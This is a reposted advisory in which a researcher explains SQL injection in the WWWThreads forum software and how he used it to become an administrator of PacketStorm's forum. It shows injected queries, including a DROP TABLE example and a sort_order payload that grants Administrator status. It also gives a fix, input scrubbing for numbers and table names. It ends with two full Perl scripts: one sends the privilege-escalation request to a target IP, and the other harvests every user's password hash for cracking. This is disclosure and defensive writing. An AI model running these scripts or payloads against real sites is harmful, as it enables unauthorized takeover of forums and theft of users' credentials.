WWWTHreads Elevates Privileges

WWWThreads is a PERL-based message forum software designed to run against an SQL server backend such as mySQL, Microsoft SQL Server, etc.

According to rain.forrest.puppy, it is possible to elevate a message board user"s privileges to board Administrator within the message forum software (note: this is not the same as Administrator access on NT.)

The original advisory follows:

-- Advisory RFP2K01 ------------------------------ rfp.labs ------------

"How I hacked PacketStorm"

A look at hacking wwwthreads via SQL

------------------------------- rain forest puppy / [email protected] ---

Table of contents:
-1. Scope of problem
-2. Long explaination of SQL hacking
-3. Solution
-4. Conclusion
-5. Included perl scripts

------------------------------------------------------------------------


----\[ 1. Scope of problem

Many applications are vulnerable to various forms of SQL hacking. While
programs know they should avoid strcpy() and giving user data to a
system() call, many are unaware of how SQL queries can be tampered with.

This is more of a technical paper than an advisory, but it does explain
how I used a vulnerability in the wwwthreads package to gain
administrative access and some 800 passwords to PacketStorm"s discussion
forum.



----\[ 2. Long explaination of SQL hacking

As with any other day, I was surfing around the PacketStorm forums, which
use wwwthreads. The URL parameters (the cruft after the "?" in an URL) of
the forums started catching my eye. Being the web security puppy I am, I
started getting curious. So using an ultra-insightful hacking technique,
I changed the "Board=general" parameter to read "Board=rfp" used with the
showpost.pl script. Lo and behold I get the following error given to me:

We cannot complete your request. The reason reported was:
Can"t execute query:
SELECT B_Main,B_Last_Post
FROM rfp
WHERE B_Number=1
. Reason: Table "WWWThreads.rfp" doesn"t exist

Seeing there"s also a "Number=1" parameter, we can figure this query can
be reconstructed as

SELECT B_Main,B_Last_Post FROM $Board WHERE B_Number=$Number

Now, if any of you have read my phrack 54 article (the SQL appension part,
available at http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=2) you can
see where I"m going. We can not only substitute a $Board name and
$Number, but also extra SQL commands. Imagine if $Board were to equal
"general; DROP TABLE general; SELECT * FROM general " This would translate
into

SELECT B_Main,B_Last_Post FROM general; DROP TABLE general;
SELECT * FROM general WHERE B_Number=$Number

Now the ";" is generic for ending a command. Normally we could use a "#"
for mySQL to ignore everything else on the line; however, the "FROM"
clause is on a separate line than the "WHERE" clause, so mySQL won"t
ignore it. Considering that invalid SQL will cause mySQL to not run any
commands, we at least need to give a valid command string to parse...in
this case, we feed a generic select (similiar to the original) back to it.
The result of this (theoretically) is to drop (delete) the general forum
table.

But in reality, it doesn"t work. Not because the theory is wrong, but
because the database user we"re using doesn"t have DROP privileges. And
due to how wwwthreads is written, it won"t quite let you do much with
this. But all is not lost, we can just start changing all numbers left and
right, looking for where it blows up...or we can go the easy route and
download the (eval) source code from www.wwwthreads.com. Yeah, kind of
cheating, but it"s not quite a one-to-one solution.

You see, the eval code and the license code (of which PacketStorm is
running) are slightly different, including their SELECT statements. So we
have to be a little creative. First, let"s find the SELECT statement (or
equivalent) that"s featured above.

I like to use less, so I just "less showpost.pl", and search (the "/" key)
for "SELECT". We come up with

# Grab the main post number for this thread
$query = qq!
SELECT Main,Last_Post
FROM $Board
WHERE Number=$Number
!;

Wow, that"s it..except the field names (Main,Last_Post,Number) are
different than the pro version (B_Main,B_Last_Post,B_Number). If we look
right above it, we see

# Once and a while it people try to just put a number into the url,
if (!$Number) \{
w3t::not_right("There was a problem looking up the Post...

Which is what limits the use of the $Number parameter.

At this point let"s now evaluate "why" we want to go forth into this.
Obviously DROP"ing tables ranks right up there with other stupid DoS
tricks. You may be able to modify other people"s posts, but that"s lame
too. Perhaps setting up our own forum? All that information is stored in
the DB. But that"s a lot of records to update. How about becoming a
moderator? Or even better, an administrator? Administrators can add,
delete, and modify forums, boards, and users. That may be a worthy goal,
although your still only limited to the realm of the forum, which makes
you a king of a very small and pitiful domain.

However, there is one thing worthy. If you make yourself a user account,
you"ll notice you have to enter a password. Hmmm...those passwords are
stored someplace...like, in the database. If we hedge our "password
reuse" theory, and combined with the fact that wwwthreads (in some
configurations) post the IP address of the poster, we have some
possibilities worth checking out.

So, let"s look at this password thing. Going into "edit profile" gives us
a password field, which looks an awful lot like a crypt hash (view the
HTML source). Damn, so the passwords are hashed. Well, that just means
you"ll need a password cracker and more time before you can start checking
on password reuse. Assuming we *can* get the passwords......

Let"s start with the administrator access first. The adduser.pl script is
a good place to start, since it should show us all parameters of a user.
Notice the following code

# --------------------------------------
# Check to see if this is the first user
$query = qq!
SELECT Username
FROM Users
!;

$sth = $dbh -> prepare ($query) or die "Query syntax error: $DBI::errstr.
Query: $query";
$sth -> execute() or die "Can"t execute query: $query. Reason:
$DBI::errstr";
my $Status = "";
my $Security = $config\{"user_security"\};
my $rows = $sth -> rows;
$sth -> finish;

# -------------------------------------------------------
# If this is the first user, then status is Administrator
# otherwise they are just get normal user status.
if (!$rows)\{
$Status = "Administrator";
$Security = 100;
\} else \{
$Status = "User";
\}


What this does is look to see if any users are defined. If no users are
defined, the first user added gets the Status of "Administrator" and a
security level of 100. After that, all added users just get Status=User.
So we need to find a way to make our Status=Administrator. A full user
record can be seen a little further down...

# ------------------------------
# Put the user into the database
my $Status_q = $dbh -> quote($Status);
$Username_q = $dbh -> quote($Username);
my $Email_q = $dbh -> quote($Email);
my $Display_q = $dbh -> quote($config\{"postlist"\});
my $View_q = $dbh -> quote($config\{"threaded"\});
my $EReplies_q = $dbh -> quote("Off");
$query = qq!
INSERT INTO Users (Username,Email,Totalposts,Laston,Status,Sort,
Display,View,PostsPer,EReplies,Security,Registered)
VALUES ($Username_q,$Email_q,0,$date,$Status_q,$config\{"sort"\},
$Display_q,$View_q,$config\{"postsperpage"\},$EReplies_q,$Security,$date)
!;


Now, I should take a moment here and explain the quote() function. A
string value of "blah blah blah", when stuck into a query that looks like
"SELECT * FROM table WHERE data=$data" will wind up looking like

SELECT * FROM table WHERE data=blah blah blah

which is not valid. The database doesn"t know what to do with the extra
two blah"s, since they look like commands. Therefore all string data need
to be encapsulated in single quotes ("). Therefore the query should look
like

SELECT * FROM table WHERE data="blah blah blah"

which is correct. Now, in my SQL appension article I talk about "breaking
out" of the single quote string by including your own single quote. So if
we submitted "blah blah" MORE SQL COMMANDS...", it would look like

SELECT * FROM table WHERE data="blah blah" MORE SQL COMMANDS..."
^^^^^^
our submitted data

This is still valid SQL! And furthermore, it will cause the database to
update the Status field to be "Administrator"! But remember when we
looked in adduser.pl, the first user had a Security level of 100. We want
that to, so we just set the sort_order parameter to "5,
Status="Administrator", Security=100,", and then we get

Bio="puppy", Sort=5, Status="Administrator", Security=100, ...

which updates both values to what we want. The database not knowing any
better will update those two fields, and now the forums will think we"re
an administrator.

So I go to apply this new technique on PacketStorm...and get a 404 for
requests to changeprofile.pl. Yep, the pro version doesn"t have it.
Navigating the "Edit Profile" menu, I see that it has "Basic Profile",
"Display Preferences", and "Email Notifications/Subscriptions", which the
demo does not (it"s all lumped together). Wonderful. If they changed the
scripts around, they may have also changed the SQL queries (well they had
to, actually). So now we"re in "blackbox" mode (blindly making educated
guesses on what"s going on). Since we want to play with the sort_order
parameter still, you"ll see that it"s contained in the "Display
Preferences" script (editdisplay.pl). This script handles the sort_order,
display, view, PostPer, Post_Format, Preview, TextCols, TextRows,
FontSize, FontFace, PictureView, and PicturePost (gained by viewing the
HTML source). So it"s a subset of the parameters. Using the above code
snippets, we can guess at what the SQL query looking like. So why not
give it a shot.

First I poke some invalid values into sort_order (characters instead of
numbers). This causes an error, which I figured. Since, in the first
example how the fields where "B_" for the "Board" table, the "User" table
(which we are now using) prefixes colums with a "U_". So that means we
need to use "U_Status" and "U_Security" for field names. Good thing we
checked.

Since this needs to be a valid form submit, we need to submit values for
all of the listed variables. At this point I should also point out
(again) we need a valid user account of which to increase the status.
We"ll need the username and password (hash), which are printed as hidden
form elements on various forms (like editdisplay.pl). You"ll see the
parameters are Username and Oldpass. So based on all of this, we can
construct a URL that looks like

changedisplay.pl? Cat=&
Username=rfp
&Oldpass=(valid password hash)
&sort_order=5,U_Status%3d"Administrator",U_Security%3d100
&display=threaded
&view=collapsed
&PostsPer=10
&Post_Format=top
&Preview=on
&TextCols=60
&TextRows=5
&FontSize=0
&FontFace=
&PictureView=on
&PicturePost=off


The important one of course being

&sort_order=5,U_Status%3d"Administrator",U_Security%3d100

which is just an escaped version of what we used above (the %3d translate
to the "=" character). When you lump it all together into a single
string, you get

changedisplay.pl?Cat=&Username=rfp&Oldpass=(valid password hash)
&sort_order=5,U_Status%3d"Administrator",U_Security%3d100&display=threaded
&view=collapsed&PostsPer=10&Post_Format=top&Preview=on&TextCols=60
&TextRows=5&FontSize=0&FontFace=&PictureView=on&PicturePost=off

which, while gross, is what it needs to be. So, I submit this to
PacketStorm, and get

Your display preferences have been modified.

Wonderful. But, noticing on the top menu, I see an "Admin" option now. I
click it, and what do I see but the heart warming message of

As an Administrator the following options are available to you.

Bingo! Administrator privileges! Looking at my options, I can edit
users, boards, or forums, assign moderators and administrators, ban
users/hosts, expire/close/open threads, etc.

Now for our second objective...the passwords. I go into "Show/Edit
Users", and am asked to pick the first letter of the usernames I"m
interested in. So I pick "R". At list of all "R*" users comes up. I
click on "rfp". And there we go, my password hash. Unfortunately,
there"s no nice and easy way to dump all users and their hashes. Bummer.
So I automated a perl script to do it for me, and dump the output in a
format that can be fed into John the Ripper.



----\[ 3. Solution

Now, how to defend against this? As you saw, the reason this worked was
due to non-restricted data being passed straight into SQL queries.
Luckily wwwthreads quoted (most) string data, but they didn"t touch
numeric data. The solution is to make sure numeric data is indeed
numeric. You can do it the "silent" way by using a function like so

sub onlynumbers \{
($data=shift)=~tr/0-9//cd;
return $data;\}

And similar to how all string data is passed through DBI->quote(), pass
all numeric data through onlynumbers(). So, for the above example, it
would be better to use

my $Sort = onlynumbers($FORM\{"sort_order"\});

Another area that needs to be verified is the table name. In our very
first example, we had "Board=general". As you see here, a table name is
not quoted like a string. Therefore we also need to run all table names
through a function to clean them up as well. Assuming table names can
have letters, numbers, and periods, we can scrub it with

sub scrubtable \{
($data=shift)=~tr/a-zA-Z0-9.//cd;
return $data;\}

which will remove all other cruft.

In the end, *all* (let me repeat that... **ALL**) incoming user data
should be passed through quote(), onlynumbers(), or scrubtable()...NO
EXCEPTIONS! Passing user data straight into a SQL query is asking for
someone to tamper with your database.

New versions of wwwthreads are available from www.wwwthreads.com, which
implement the solutions pretty much as I"ve described them here.


----\[ 4. Conclusion

I"ve included two scripts below. wwwthreads.pl will run the query for you
against a pro version of wwwthreads. You just have to give the ip
address of the server running wwwthreads, and a valid user and password
hash. w3tpass.pl will walk and download all wwwthreads user password
hashes, and give output suitable for password cracking with John the
Ripper.

Thanks to PacketStorm for being a good sport about this.

- Rain Forest Puppy / [email protected]
- I feel a rant coming on...


----\[ 5. Included perl scripts

-\[ wwwthreads.pl

#!/usr/bin/perl
# wwwthreads hack by [email protected]
# elevate a user to admin status
#
# by rain forest puppy / [email protected]
use Socket;

#####################################################
# modify these

# can be DNS or IP address
$ip="209.143.242.119";

$username="rfp";
# remember to put a "\" before the "$" characters
$passhash="\$1\$V2\$sadklfjasdkfhjaskdjflh";

#####################################################

$parms="Cat=&Username=$username&Oldpass=$passhash".
"&sort_order=5,U_Status%3d"Administrator",U_Security%3d100".
"&display=threaded&view=collapsed&PostsPer=10".
"&Post_Format=top&Preview=on&TextCols=60&TextRows=5&FontSize=0".
"&FontFace=&PictureView=on&PicturePost=off";

$tosend="GET /cgi-bin/wwwthreads/changedisplay.pl?$parms HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/wwwthreads/previewpost.pl\r\n\r\n";

print sendraw($tosend);

sub sendraw \{
        my ($pstr)=@_; my $target;
        $target= inet_aton($ip) || die("inet_aton problems");
        socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target))\{
                select(S);               $|=1;
                print $pstr;            my @in=<strike>;
                select(STDOUT);          close(S);
                return @in;
        \} else \{ die("Can"t connect...\n"); \}\}


-\[ w3tpass.pl

#!/usr/bin/perl
# download all wwwthread usernames/passwords once you"re administrator
# send a fake cookie with authenciation and fake the referer
# initial passwords are 6 chars long, contain a-zA-Z0-9 EXCEPT l,O,1
#
# by rain forest puppy / [email protected]
use Socket;

#####################################################
# modify these

# can be DNS or IP address
$ip="209.143.242.119";

$username="rfp";
# remember to put a "\" before the "$" characters
$passhash="\$1\$V2\$zxcvzxvczxcvzxvczxcv";

#####################################################

@letts=split(//,"0ABCDEFGHIJKLMNOPQRSTUVWXYZ");
print STDERR "wwwthreads password snatcher by rain forest puppy\r\n";
print STDERR "Getting initial user lists...";

foreach $let (@letts)\{
$parms="Cat=&Start=$let";
$tosend="GET /cgi-bin/wwwthreads/admin/showusers.pl?$parms HTTP/1.0\r\n".
  "Referer: http://$ip/cgi-bin/wwwthreads/\r\n".
  "Cookie: Username=$username; Password=$passhash\r\n\r\n";

my @D=sendraw($tosend);
foreach $line (@D)\{
  if($line=~/showoneuser\.pl\?User=(\[^"\]+)\"\>/)\{
   push @users, $1;\}\}\}

$usercount=@users;
print STDERR "$usercount users retrieved.\r\n".
"Fetching individual passwords...\r\n";

foreach $user (@users)\{
$parms="User=$user";
$tosend="GET /cgi-bin/wwwthreads/admin/showoneuser.pl?$parms HTTP/1.0\r\n".
  "Referer: http://$ip/cgi-bin/wwwthreads/\r\n".
  "Cookie: Username=$username; Password=$passhash\r\n\r\n";

my @D=sendraw($tosend);
foreach $line (@D)\{
  if($line=~/OldPass value = "(\[^"\]+)"/)\{
   ($pass=$1)=~ s/%(\[a-fA-F0-9\]\[a-fA-F0-9\])/pack("C", hex($1))/eg;
   $user =~ s/%(\[a-fA-F0-9\]\[a-fA-F0-9\])/pack("C", hex($1))/eg;
   print $user.":".$pass."::::::::::\n";
   last;\}\}\}

print STDERR "done.\r\n\r\n";

sub sendraw \{
        my ($pstr)=@_; my $target;
        $target= inet_aton($ip) || die("inet_aton problems");
        socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target))\{
                select(S);               $|=1;
                print $pstr;            my @in=<strike>;
                select(STDOUT);          close(S);
                return @in;
        \} else \{ die("Can"t connect...\n"); \}\}

# Greets to everyone who hasn"t used RDS to deface a website (small crowd)

--- rain forest puppy / [email protected] ------------- ADM / wiretrip ---

SQL hacking has many ins, many outs; there"s many levels of complexity...

--- Advisory RFP2K01 ------------------------------ rfp.labs ------------

VENDOR RESPONSE

The vendor, WCSoft, has been informed of this matter however no response was know at the time of this writing.